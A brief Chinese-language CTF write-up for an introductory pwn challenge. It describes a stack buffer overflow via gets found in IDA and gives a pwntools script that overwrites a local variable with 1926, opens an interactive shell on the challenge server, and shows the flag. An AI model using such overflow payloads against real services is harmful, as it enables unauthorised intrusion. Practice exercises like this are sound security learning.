最近想学一下pwn的基础
这个是南邮CTF平台的PWN的第一题把算是(老平台的唯一一道)
听大神说pwn很多文件都采取elf头,所以推荐在linux下食用
直接拖进IDA,分析一下
看下来是利用缓冲区溢出吧,先输入v4字符串覆盖空间,然后再给v5赋值1926就好了,试试看,从ebp的偏移可以看出来v4距离v5需要覆盖8个字节
但是有个坑就是刚开始What's your birth那里还有个while语句,如果无法执行过去,会死循环,其实就是搭配scanf,10转成字符不就是回车键么?随便数个数字就好了
安装pwntools,一边做题目,一边学pwntools的函数
# coding=utf-8
from pwn import *
conn = remote('ctf.acdxvfsvd.net',1926) #远程连接
payload = 'a'*8 + p32(1926) #p32表示传输的是一个四字节数
conn.recvuntil("What\'s Your Birth?\n")
conn.sendline("28") #sendline相当于发送一行数据
conn.recvuntil("What\'s Your Name?\n")
conn.sendline(payload)
conn.interactive() #与shell交互
#flag{gets_is_dangerous_+1s}